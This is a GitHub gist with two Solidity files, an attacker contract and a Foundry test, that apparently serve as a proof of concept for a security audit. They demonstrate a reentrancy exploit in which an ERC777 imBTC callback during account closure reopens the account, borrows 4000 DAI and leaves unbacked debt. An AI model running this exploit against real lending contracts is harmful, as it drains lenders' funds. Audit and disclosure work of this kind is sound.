-
-
Save panprog/2f16348325303869f7d84653cf99fba1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.15; | |
import {IERC20} from "../../../interface/tokens/IERC20.sol"; | |
import {TestERC20} from "../../utils/TestERC20.sol"; | |
import {UniV2LpOracle} from "oracle/uniswap/UniV2LPOracle.sol"; | |
import {IntegrationTestBase} from "../utils/IntegrationTestBase.sol"; | |
import {UniV2Controller} from "controller/uniswap/UniV2Controller.sol"; | |
import {console} from "../../utils/console.sol"; | |
import {IUniV2Factory} from "controller/uniswap/IUniV2Factory.sol"; | |
import {IAccount} from "../../../interface/core/IAccount.sol"; | |
import {IAccountManager} from "../../../interface/core/IAccountManager.sol"; | |
import {IRegistry} from "../../../interface/core/IRegistry.sol"; | |
interface IUniswapV2Factory { | |
event PairCreated(address indexed token0, address indexed token1, address pair, uint); | |
function feeTo() external view returns (address); | |
function feeToSetter() external view returns (address); | |
function getPair(address tokenA, address tokenB) external view returns (address pair); | |
function allPairs(uint) external view returns (address pair); | |
function allPairsLength() external view returns (uint); | |
function createPair(address tokenA, address tokenB) external returns (address pair); | |
function setFeeTo(address) external; | |
function setFeeToSetter(address) external; | |
} | |
interface IUniswapV2Router { | |
function addLiquidity( | |
address tokenA, | |
address tokenB, | |
uint amountADesired, | |
uint amountBDesired, | |
uint amountAMin, | |
uint amountBMin, | |
address to, | |
uint deadline | |
) external returns (uint amountA, uint amountB, uint liquidity); | |
} | |
interface IERC1820Registry { | |
function setInterfaceImplementer( | |
address account, | |
bytes32 _interfaceHash, | |
address implementer | |
) external; | |
} | |
contract HackUser2 { | |
address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; | |
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); | |
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender"); | |
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); | |
address public account; | |
IAccountManager accountManager; | |
IRegistry registry; | |
uint public state; | |
function init(IAccountManager _accountManager, IRegistry _registry) external { | |
accountManager = _accountManager; | |
registry = _registry; | |
_erc1820.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); | |
} | |
function setState(uint _state) external { | |
state = _state; | |
} | |
function approveERC20(address token, address spender, uint amount) external { | |
IERC20(token).approve(spender, amount); | |
} | |
function transferERC20(address token, address to, uint amount) external { | |
IERC20(token).transfer(to, amount); | |
} | |
function addUniv2Liquidity(address router, address token0, address token1, uint amount0, uint amount1) external { | |
IUniswapV2Router(router).addLiquidity(token0, token1, amount0, amount1, 0, 0, address(this), block.timestamp); | |
} | |
function accountDeposit(address token, uint amount) external { | |
accountManager.deposit(account, token, amount); // even deposit of 0 adds it to assets | |
} | |
function accountApprove(address token, address spender, uint amount) external { | |
accountManager.approve(account, token, spender, amount); | |
} | |
function accountWithdraw(address token, uint amount) external { | |
accountManager.withdraw(account, token, amount); | |
} | |
function accountExec(address target, bytes calldata data) external { | |
accountManager.exec(account, target, 0, data); | |
} | |
function accountClose() external { | |
accountManager.closeAccount(account); | |
} | |
function accountOpen() external { | |
accountManager.openAccount(address(this)); | |
account = registry.accountsOwnedBy(address(this))[0]; | |
} | |
function accountBorrow(address token, uint amount) external { | |
accountManager.borrow(account, token, amount); | |
} | |
// ERC777 receiver | |
function tokensReceived( | |
address operator, | |
address from, | |
address to, | |
uint256 amount, | |
bytes calldata userData, | |
bytes calldata operatorData | |
) external { | |
if (state == 1) { | |
// this is called in Account.sweepTo when transferring IMBTC back to user | |
// after we exit this function, sweepTo will transfer all remaining ether to our account without any checks | |
// re-gain control of the account (since sweepTo is called after account is closed) | |
this.accountOpen(); | |
// deposit 1 ether to account | |
accountManager.depositEth{value:1 ether}(account); | |
// borrow 4000 DAI against deposited 1 ether (this is added to assets at index = 2) | |
accountManager.borrow(account, DAI, 4000*1e18); | |
state = 0; | |
// exit re-entrancy, Account.sweepTo continues its loop by transfering all borrowed DAI to user, | |
// all deposited ether to user and then finishing the transaction | |
} | |
} | |
receive() external payable {} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.15; | |
import {IERC20} from "../../../interface/tokens/IERC20.sol"; | |
import {ERC20} from "solmate/tokens/ERC20.sol"; | |
import {TestERC20} from "../../utils/TestERC20.sol"; | |
import {UniV2LpOracle} from "oracle/uniswap/UniV2LPOracle.sol"; | |
import {IntegrationTestBase} from "../utils/IntegrationTestBase.sol"; | |
import {UniV2Controller} from "controller/uniswap/UniV2Controller.sol"; | |
import {HackUser2} from "./HackUser2.sol"; | |
import {console} from "../../utils/console.sol"; | |
import {IUniV2Factory} from "controller/uniswap/IUniV2Factory.sol"; | |
import {IAccount} from "../../../interface/core/IAccount.sol"; | |
import {LToken} from "../../../tokens/LToken.sol"; | |
import {Proxy} from "../../../proxy/Proxy.sol"; | |
import {AggregatorV3Interface} | |
from "oracle/chainlink/AggregatorV3Interface.sol"; | |
interface IUniswapV2Factory { | |
event PairCreated(address indexed token0, address indexed token1, address pair, uint); | |
function feeTo() external view returns (address); | |
function feeToSetter() external view returns (address); | |
function getPair(address tokenA, address tokenB) external view returns (address pair); | |
function allPairs(uint) external view returns (address pair); | |
function allPairsLength() external view returns (uint); | |
function createPair(address tokenA, address tokenB) external returns (address pair); | |
function setFeeTo(address) external; | |
function setFeeToSetter(address) external; | |
} | |
interface IUniswapV2Router { | |
function addLiquidity( | |
address tokenA, | |
address tokenB, | |
uint amountADesired, | |
uint amountBDesired, | |
uint amountAMin, | |
uint amountBMin, | |
address to, | |
uint deadline | |
) external returns (uint amountA, uint amountB, uint liquidity); | |
} | |
contract Reentrancy2IntegrationTest is IntegrationTestBase { | |
address account; | |
address user = cheats.addr(1); | |
uint constant INIT_LIQUIDITY = 10000; | |
address constant UNIV2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; | |
address constant WETH_USDT_LP = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852; | |
address constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; | |
address constant IMBTC = 0x3212b29E33587A00FB1C83346f5dBFA69A458923; | |
// chainlink oracle | |
address constant BTCUSD = 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c; | |
LToken lDaiImplementation; | |
LToken lDai; | |
UniV2Controller uniV2Controller; | |
UniV2LpOracle uniLPOracle; | |
HackUser2 hackUser; | |
function setupUniV2Controller() private { | |
uniV2Controller = new UniV2Controller(WETH, IUniV2Factory(FACTORY), controller); | |
controller.updateController(UNIV2_ROUTER, uniV2Controller); | |
controller.toggleTokenAllowance(WETH_USDT_LP); | |
uniLPOracle = new UniV2LpOracle(oracle); | |
oracle.setOracle(WETH_USDT_LP, uniLPOracle); | |
oracle.setOracle(IMBTC, chainlinkOracle); | |
chainlinkOracle.setFeed(IMBTC, AggregatorV3Interface(BTCUSD)); | |
} | |
function setUp() public { | |
setupContracts(); | |
setupOracles(); | |
setupUniV2Controller(); | |
setupWethController(); | |
setupCurveController(); | |
accountManager.toggleCollateralStatus(USDC); | |
accountManager.toggleCollateralStatus(DAI); | |
lDaiImplementation = new LToken(); | |
lDai = LToken(address(new Proxy(address(lDaiImplementation)))); | |
lDai.init(ERC20(DAI), "lDai", "lDai", registry, 1e17, treasury); | |
lDai.initDep('RATE_MODEL'); | |
registry.setLToken(DAI, address(lDai)); | |
//account = openAccount(user); | |
} | |
function testReentrancy2() public { | |
hackUser = new HackUser2(); | |
user = address(hackUser); | |
hackUser.init(accountManager, registry); | |
hackUser.accountOpen(); | |
account = hackUser.account(); | |
deal(USDC, user, 2000e6); | |
// deal fails for imBTC, so prank for user with balance instead | |
//deal(IMBTC, user, 10); | |
cheats.startPrank(0x3b938E9525e14361091ee464D8AceC291b3caE50); | |
IERC20(IMBTC).transfer(user, 1e8); | |
cheats.stopPrank(); | |
cheats.deal(user, 10e18); // give user some ether | |
// Deploy uniswap v2 USDC-IMBTC pool | |
address pairAddress = IUniswapV2Factory(FACTORY).createPair(USDC, IMBTC); | |
hackUser.approveERC20(USDC, UNIV2_ROUTER, INIT_LIQUIDITY); | |
hackUser.approveERC20(IMBTC, UNIV2_ROUTER, INIT_LIQUIDITY); | |
hackUser.addUniv2Liquidity(UNIV2_ROUTER, USDC, IMBTC, INIT_LIQUIDITY, INIT_LIQUIDITY); | |
// transfer minimum liquidity into account directly | |
hackUser.transferERC20(pairAddress, account, 1); | |
// add USDC + IMBTC to assets via calling removeLiquidity via exec | |
hackUser.accountApprove(pairAddress, UNIV2_ROUTER, type(uint).max); | |
// the following should be in another block (for account deactivation to work) | |
vm.warp(block.timestamp + 60); | |
vm.roll(block.number + 1); | |
// Encode Calldata | |
bytes memory data = abi.encodeWithSignature( | |
"removeLiquidity(address,address,uint256,uint256,uint256,address,uint256)", | |
USDC, IMBTC, 1, 0, 0, account, block.timestamp); | |
hackUser.accountExec(UNIV2_ROUTER, data); | |
// account now has dust USDC and IMBTC at index=0 and 1 | |
// add DAI into assets at index = 2 to withdraw it back in sweepTo | |
hackUser.accountDeposit(DAI, 0); // this will add DAI to assets list without transferring tokens | |
// at this point account has assets list: USDC, IMBTC, DAI | |
// (DAI is the last in the list, which is important since re-entrancy should be initiated before DAI | |
// is sent back to user in sweepTo) | |
// give some liquidity to lDai | |
deal(DAI, lender, 2000000*1e18); | |
cheats.startPrank(lender); | |
IERC20(DAI).approve(address(lDai), type(uint).max); | |
lDai.deposit(1000000*1e18, lender); | |
cheats.stopPrank(); | |
// signal for user to start re-entrancy on receiving IMBTC token | |
hackUser.setState(1); | |
// close account, which calls sweepTo in the end, where re-entrancy via IMBTC is initiated, | |
// user deposits 1 ether, borrows 4000 DAI, then exits re-entrancy, which transfers all DAI | |
// to user and all ether to user, leaving account with 0 assets and 4000 DAI debt | |
hackUser.accountClose(); | |
// verify that user has received 4000 DAI | |
console.log("user DAI balance after account closed", IERC20(DAI).balanceOf(user)); | |
console.log("account balance", riskEngine.getBalance(account)); | |
console.log("account debt", riskEngine.getBorrows(account)); | |
console.log("account healthy?", riskEngine.isAccountHealthy(account)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment